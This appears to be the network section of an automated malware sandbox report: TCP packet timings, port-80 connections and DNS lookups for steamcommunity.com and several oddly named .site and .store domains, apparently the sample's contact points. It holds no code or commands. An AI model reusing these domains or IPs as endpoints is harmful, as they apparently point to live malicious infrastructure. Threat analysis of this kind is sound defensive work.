Oct 2, 2024 05:20:41.184849977 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.184894085 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.184904099 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.184923887 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.184946060 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.198749065 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.198765039 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.198807955 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.198818922 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.198833942 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.198860884 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.201550007 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.201565027 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.201618910 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.201628923 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.201668978 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.227755070 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.227770090 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.227871895 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.227884054 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.227927923 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.230305910 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.230326891 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.230379105 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.230387926 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.230402946 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.230423927 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.230839968 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.230855942 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.230901957 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.230911016 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.230946064 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.248378992 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.248394012 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.248465061 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.248480082 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.248522043 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.260587931 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.260601997 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.260670900 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.260695934 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.260736942 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.271867990 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.271888971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.271934032 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.271945000 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.271971941 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.271987915 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.285825968 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.285841942 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.285903931 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.285913944 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.285955906 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.288530111 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.288546085 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.288583994 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.288590908 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.288608074 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.288630962 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.315207005 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.315220118 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.315294027 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.315304041 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.315351009 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.318965912 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.318981886 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.319032907 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.319046021 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.319086075 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.319703102 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.319717884 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.319768906 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.319777966 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.319819927 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.345022917 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.345041037 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.345123053 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.345135927 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.345179081 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.349474907 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.349493980 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.349550009 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.349560976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.349581003 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.349592924 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.358757973 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.358776093 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.358850002 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.358860970 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.358906984 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.372611046 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.372627020 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.372725964 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.372740030 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.372785091 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.401957989 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.401977062 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.402106047 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.402118921 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.402179003 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.402427912 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.402448893 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.402503967 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.402513981 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.402556896 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.407828093 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.407840967 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.407907009 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.407922029 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.407963037 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.424777031 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.424794912 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.424870968 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.424884081 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.424926043 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.434262037 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.434278011 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.434344053 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.434354067 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.434396982 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.439323902 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.439338923 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.439400911 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.439409971 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.439451933 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.448254108 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.448268890 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.448339939 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.448349953 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.448394060 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.461716890 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.461731911 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.461769104 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.461781979 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.461801052 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.461823940 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.488615990 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.488631010 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.488707066 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.488717079 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.488766909 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.489120007 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.489135981 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.489187956 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.489196062 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.489236116 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.494539976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.494556904 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.494623899 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.494636059 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.494677067 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.511718035 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.511734962 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.511800051 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.511811972 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.511837006 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.511852980 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.521291018 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.521306038 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.521384001 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.521398067 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.521439075 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.526159048 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.526175976 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.526230097 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.526246071 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.526288033 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.535119057 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.535134077 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.535202980 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.535213947 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.535254002 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.548521996 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.548537970 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.548593998 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.548604012 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.548644066 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.575607061 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.575628042 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.575668097 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.575680017 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.575694084 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.575717926 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.576215029 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.576231003 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.576282024 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.576291084 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.576328993 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.581422091 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.581442118 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.581489086 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.581497908 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.581521988 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.581538916 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.598663092 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.598678112 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.598721027 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.598733902 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.598761082 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.598771095 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.608169079 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.608184099 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.608246088 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.608259916 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.608295918 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.613065004 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.613081932 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.613106012 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.613147020 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.613163948 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.613178968 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.613187075 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.613207102 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.613241911 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.620141029 CEST	49809	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.620166063 CEST	443	49809	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.673978090 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.674031019 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:41.674102068 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.674312115 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:41.674329042 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:42.352797031 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:42.352879047 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:42.353667021 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:42.353681087 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:42.355424881 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:42.355432034 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:42.355482101 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:42.355492115 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:42.725490093 CEST	49811	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:42.725526094 CEST	443	49811	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:42.725603104 CEST	49811	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:42.725830078 CEST	49811	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:42.725842953 CEST	443	49811	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:43.001014948 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:43.001080990 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:43.001080036 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:43.001131058 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:43.002413034 CEST	49810	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:43.002433062 CEST	443	49810	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:43.397594929 CEST	443	49811	49.12.197.9	192.168.2.4
Oct 2, 2024 05:20:43.397670984 CEST	49811	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:45.085468054 CEST	49811	443	192.168.2.4	49.12.197.9
Oct 2, 2024 05:20:45.141772032 CEST	49781	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:48.223890066 CEST	49782	80	192.168.2.4	147.45.44.104

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 05:19:15.153714895 CEST	57280	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:19:15.160347939 CEST	53	57280	1.1.1.1	192.168.2.4
Oct 2, 2024 05:19:55.588650942 CEST	56877	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:19:55.598757029 CEST	53	56877	1.1.1.1	192.168.2.4
Oct 2, 2024 05:19:55.629405022 CEST	56024	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:19:55.640923023 CEST	53	56024	1.1.1.1	192.168.2.4
Oct 2, 2024 05:19:56.711847067 CEST	49726	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:19:56.722840071 CEST	53	49726	1.1.1.1	192.168.2.4
Oct 2, 2024 05:19:57.664556026 CEST	53113	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:19:57.676377058 CEST	53	53113	1.1.1.1	192.168.2.4
Oct 2, 2024 05:19:58.634285927 CEST	52952	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:19:58.652358055 CEST	53	52952	1.1.1.1	192.168.2.4
Oct 2, 2024 05:19:59.760924101 CEST	63274	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:19:59.772603035 CEST	53	63274	1.1.1.1	192.168.2.4
Oct 2, 2024 05:20:00.723371029 CEST	60312	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:20:00.734800100 CEST	53	60312	1.1.1.1	192.168.2.4
Oct 2, 2024 05:20:01.670053005 CEST	55481	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:20:01.695415974 CEST	53	55481	1.1.1.1	192.168.2.4
Oct 2, 2024 05:20:01.953387976 CEST	54998	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:20:01.961783886 CEST	53	54998	1.1.1.1	192.168.2.4
Oct 2, 2024 05:20:02.803055048 CEST	57370	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:20:02.810235977 CEST	53	57370	1.1.1.1	192.168.2.4
Oct 2, 2024 05:20:04.078782082 CEST	58188	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:20:04.106933117 CEST	53	58188	1.1.1.1	192.168.2.4
Oct 2, 2024 05:20:14.612674952 CEST	49683	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:20:14.634866953 CEST	53	49683	1.1.1.1	192.168.2.4
Oct 2, 2024 05:20:29.699485064 CEST	61560	53	192.168.2.4	1.1.1.1
Oct 2, 2024 05:20:29.706548929 CEST	53	61560	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 2, 2024 05:19:15.153714895 CEST	192.168.2.4	1.1.1.1	0x1f44	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:55.588650942 CEST	192.168.2.4	1.1.1.1	0xf2aa	Standard query (0)	chorusarorp.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:55.629405022 CEST	192.168.2.4	1.1.1.1	0xc0b4	Standard query (0)	questionsmw.store	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:56.711847067 CEST	192.168.2.4	1.1.1.1	0x7087	Standard query (0)	soldiefieop.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:57.664556026 CEST	192.168.2.4	1.1.1.1	0x3926	Standard query (0)	abnomalrkmu.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:58.634285927 CEST	192.168.2.4	1.1.1.1	0x1ff1	Standard query (0)	treatynreit.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:59.760924101 CEST	192.168.2.4	1.1.1.1	0xccb	Standard query (0)	snarlypagowo.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:00.723371029 CEST	192.168.2.4	1.1.1.1	0x7d25	Standard query (0)	mysterisop.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:01.670053005 CEST	192.168.2.4	1.1.1.1	0xbc8e	Standard query (0)	absorptioniw.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:01.953387976 CEST	192.168.2.4	1.1.1.1	0x53c4	Standard query (0)	cowod.hopto.org	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:02.803055048 CEST	192.168.2.4	1.1.1.1	0x9ee6	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:04.078782082 CEST	192.168.2.4	1.1.1.1	0x390a	Standard query (0)	gravvitywio.store	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:14.612674952 CEST	192.168.2.4	1.1.1.1	0xb6a8	Standard query (0)	chorusarorp.site	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:29.699485064 CEST	192.168.2.4	1.1.1.1	0xdfd2	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 2, 2024 05:19:15.160347939 CEST	1.1.1.1	192.168.2.4	0x1f44	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:55.598757029 CEST	1.1.1.1	192.168.2.4	0xf2aa	Name error (3)	chorusarorp.site	none	none	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:55.640923023 CEST	1.1.1.1	192.168.2.4	0xc0b4	No error (0)	questionsmw.store		104.21.77.132	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:55.640923023 CEST	1.1.1.1	192.168.2.4	0xc0b4	No error (0)	questionsmw.store		172.67.208.141	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:56.722840071 CEST	1.1.1.1	192.168.2.4	0x7087	No error (0)	soldiefieop.site		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:56.722840071 CEST	1.1.1.1	192.168.2.4	0x7087	No error (0)	soldiefieop.site		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:57.676377058 CEST	1.1.1.1	192.168.2.4	0x3926	No error (0)	abnomalrkmu.site		172.67.152.190	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:57.676377058 CEST	1.1.1.1	192.168.2.4	0x3926	No error (0)	abnomalrkmu.site		104.21.56.150	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:58.652358055 CEST	1.1.1.1	192.168.2.4	0x1ff1	No error (0)	treatynreit.site		172.67.184.196	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:58.652358055 CEST	1.1.1.1	192.168.2.4	0x1ff1	No error (0)	treatynreit.site		104.21.84.18	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:59.772603035 CEST	1.1.1.1	192.168.2.4	0xccb	No error (0)	snarlypagowo.site		104.21.18.193	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:19:59.772603035 CEST	1.1.1.1	192.168.2.4	0xccb	No error (0)	snarlypagowo.site		172.67.183.74	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:00.734800100 CEST	1.1.1.1	192.168.2.4	0x7d25	No error (0)	mysterisop.site		104.21.21.3	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:00.734800100 CEST	1.1.1.1	192.168.2.4	0x7d25	No error (0)	mysterisop.site		172.67.195.67	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:01.695415974 CEST	1.1.1.1	192.168.2.4	0xbc8e	No error (0)	absorptioniw.site		104.21.17.174	A (IP address)	IN (0x0001)	false
Oct 2, 2024 05:20:01.695415974 CEST	1.1.1.1	192.168.2.4	0xbc8e	No error (0)	absorptioniw.site		172.67.177.186	A (IP address)	IN (0x0001)	false
